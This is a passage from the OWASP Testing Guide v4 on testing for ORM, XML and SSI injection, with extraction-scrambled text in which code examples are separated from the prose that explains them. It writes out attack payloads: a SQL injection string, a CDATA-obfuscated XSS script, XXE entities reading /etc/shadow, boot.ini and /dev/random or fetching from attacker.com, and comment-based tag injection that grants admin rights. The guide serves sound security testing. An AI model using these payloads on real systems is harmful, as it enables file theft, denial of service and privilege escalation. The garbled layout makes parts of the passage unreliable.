Testing for XML Injection (OTG-INPVAL-008)

Summary

XML Injection testing is when a tester tries to inject an XML doc to the application. If the XML parser fails to contextually validate data, then the test will yield a positive result.

This section describes practical examples of XML Injection. First, an XML style communication will be defined and its working prin- ciples explained. Then, the discovery method in which we try to insert XML metacharacters. Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

How to Test

Let’s suppose there is a web application using an XML style communication in order to perform user registration. This is done by creating and adding a new <user> node in an xmlDb file.

Let’s suppose the xmlDB file is like the following:

When a user registers himself by filling an HTML form, the application receives the user’s data in a standard request, which, for the sake of simplicity, will be supposed to be sent as a GET request. For example, the following values:

will produce the request:

The application, then, builds the following node: tester, this attack is virtually identical to a SQL Injection attack.

However, the injection vulnerability exists in code generated by the ORM tool.

An ORM is an Object Relational Mapping tool.

It is used to expedite object oriented development within the data access layer of software applications, including web applications. The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standard- ized code templates for these objects, and usually a set of safe functions to protect against SQL Injection attacks.

ORM generated objects can use SQL or in some cases, a variant of SQL, to perform CRUD (Create, Read, Update, Delete) operations on a database. It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.

ORM tools include Hibernate for Java, NHibernate for .NET, Acti- veRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software

How to Test Black Box testing

Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing (see Testing for SQL Injection). In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters.

Most ORM tools provide safe functions to escape user input. However, if these functions are not used, and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.

Gray Box testing

If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and tests web applications that use this tool, there is a higher probability of successfully attacking the application.

Patterns to look for in code include:

• Input parameters concatenated with SQL strings. This code that

uses ActiveRecord for Ruby on Rails is vulnerable (though any ORM can be vulnerable)

Simply sending “’ OR 1--” in the form where order date can be entered can yield positive results.

Tools

• Hibernate http://www.hibernate.org

• NHibernate http://nhforge.org/

References Whitepapers

• References from Testing for SQL Injection are applicable to ORM Injection

• Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relation al_mapping

Orders.find_all “customer_id = 123 AND order_date = ‘#{@

params[‘order_date’]}’” Username: tony

Password: Un6R34kb!e E-mail: [email protected] http://www.example.com/addUser.php?username=tony&- password=Un6R34kb!e&[email protected] <user> <username>tony</username> <?xml version=”1.0” encoding=”ISO-8859-1”?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>[email protected]</mail> </user> </users>

double quotes.

So if:

the substitution gives:

and the resulting XML document is invalid.

• Angular parentheses: > and < - By adding an open or closed angular parenthesis in a user input like the following:

the application will build a new node:

but, because of the presence of the open ‘<’, the resulting XML document is invalid.

• Comment tag:  - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

the application will build a node like the following:

which won’t be a valid XML sequence.

• Ampersand: & - The ampersand is used in the XML syntax to represent entities. The format of an entity is ‘&symbol;’. An entity is mapped to a character in the Unicode character set.

For example: which will be added to the xmlDB:

Discovery

The first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML metacharacters.

XML metacharacters are:

• Single quote: ‘ - When not sanitized, this character could throw

an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.

As an example, let’s suppose there is the following attribute

So, if:

is instantiated and then is inserted as the attrib value:

then, the resulting XML document is not well formed.

• Double quote: “ - this character has the same meaning as single quote and it could be used if the attribute value is enclosed in

<node attrib=’$inputValue’/> inputValue = foo’ <node attrib=”$inputValue”/> $inputValue = foo” <node attrib=”foo””/> Username = foo< Username = foo<!-- <tagnode><</tagnode> <user> <username>foo<!--</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail> </user> <user> <username>foo<</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail> </user> <node attrib=’foo’’/> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail> </user> <?xml version=”1.0” encoding=”ISO-8859-1”?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>[email protected]</mail> </user> <user> <username>tony</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail> </user> </users>

is well formed and valid, and represents the ‘<’ ASCII character. If ‘&’ is not encoded itself with &, it could be used to test XML injection.

In fact, if an input like the following is provided:

a new node will be created:

but, again, the document is not valid: &foo is not terminated with ‘;’ and the &foo; entity is undefined.

• CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser. For example, if there is the need to represent the string ‘<foo>’ inside a text node, a CDATA section may be used:

so that ‘<foo>’ won’t be parsed as markup and will be considered as character data.

If a node is built in the following way:

the tester could try to inject the end CDATA string ‘]]>’ in order to try to invalidate the XML document.

this will become:

which is not a valid XML fragment.

Another test is related to CDATA tag. Suppose that the XML document is processed to generate an HTML page. In this case, the CDATA section delimiters may be simply eliminated, without fur- ther inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely by- passing existing sanitization routines.

Let’s consider a concrete example. Suppose we have a node containing some text that will be displayed back to the user.

Then, an attacker can provide the following input:

and obtain the following node:

During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:

The result is that the application is vulnerable to XSS.

External Entity:

The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behav- ior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. To test for XXE vulnerabilities, one can use the following input:

This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.

Other useful tests are the following: Username = &foo <username><![CDATA[<$userName]]></username> userName = ]]> <username><![CDATA[]]>]]></username> <user> <username>&foo</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail> </user> <node> <![CDATA[<foo>]]> </node> <html> $HTMLCode </html> $HTMLCode = <![CDATA[<]]>script<![C- DATA[>]]>alert(‘xss’)<![CDATA[<]]>/script<![CDATA[>]]> <script>alert(‘XSS’)</script> <html> <![CDATA[<]]>script<![CDATA[>]]>alert(‘xss’)<![CDATA[<]]>/ script<![CDATA[>]]> </html> <?xml version=”1.0” encoding=”ISO-8859-1”?> <!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM “file:///dev/random” >]><foo>&xxe;</ foo>

<?xml version=”1.0” encoding=”ISO-8859-1”?> <!DOCTYPE foo [

<!ELEMENT foo ANY >

Tag Injection

Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.

Let’s considering the previous application. By inserting the following values:

the application will build a new node and append it to the XML database:

The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one ap- pearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.

The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don’t comply with it.

Let’s suppose that the XML document is specified by the following DTD:

Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.

However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting a comment start/end sequence:

In this case, the final XML database is: Username: tony

Password: Un6R34kb!e

E-mail: [email protected]</mail><userid>0</userid><-

mail>[email protected] Username: tonyPassword: Un6R34kb!e</password><!--

E-mail: --><userid>0</userid><mail>[email protected] <!DOCTYPE users [

<!ELEMENT users (user+) >

<!ELEMENT user (username,password,userid,- mail+) >

<!ELEMENT username (#PCDATA) > <!ELEMENT password (#PCDATA) > <!ELEMENT userid (#PCDATA) > <!ELEMENT mail (#PCDATA) > ]>

foo>

<?xml version=”1.0” encoding=”ISO-8859-1”?> <!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM “file:///etc/shadow” >]><foo>&xxe;</ foo>

<?xml version=”1.0” encoding=”ISO-8859-1”?> <!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM “file:///c:/boot.ini” >]><foo>&xxe;</foo> <?xml version=”1.0” encoding=”ISO-8859-1”?>

<!DOCTYPE foo [ <!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM “http://www.attacker.com/text.txt” >]><foo>&xxe;</foo> <?xml version=”1.0” encoding=”ISO-8859-1”?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>[email protected]</mail> </user> <user> <username>tony</username> <password>Un6R34kb!e</password><userid>0</userid><- mail>[email protected]</mail> </user> </users> <?xml version=”1.0” encoding=”ISO-8859-1”?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>[email protected]</mail> </user> <user> <username>tony</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail><userid>0</userid><mail>[email protected]</mail> </user> </users>

The original userid node has been commented out, leaving only the injected one. The document now complies with its DTD rules.

Tools

• XML Injection Fuzz Strings (from wfuzz tool) -

https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/ XML.txt

References Whitepapers

• Alex Stamos: “Attacking Web Services” -

http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Sta- mos-Attacking_Web_Services.ppt

• Gregory Steuck, “XXE (Xml eXternal Entity) attack”,

http://www.securityfocus.com/archive/1/297714

Testing for SSI Injection (OTG-INPVAL-009)

Summary

Web servers usually give developers the ability to add small piec- es of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the Server-Side Includes (SSI). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful ex- ploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alterna- tive to writing CGI programs or embedding code using server-side scripting languages, when there’s only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands.

Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following:

to print out the current time.

to include the output of a CGI script.

to include the content of a file or list files in a directory.

to include the output of a system command.

Then, if the web server’s SSI support is enabled, the server will parse these directives. In the default configuration, usually, most

web servers don’t allow the use of the exec directive to execute system commands.

As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen man- ner. With regard to SSI injection, the attacker could provide input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives.

This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.

How to Test Black Box testing

The first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the an- swer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classic information gathering techniques.

Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains .shtml files, then SSI

In document OWASP Testing Guide v4 (Page 135-140)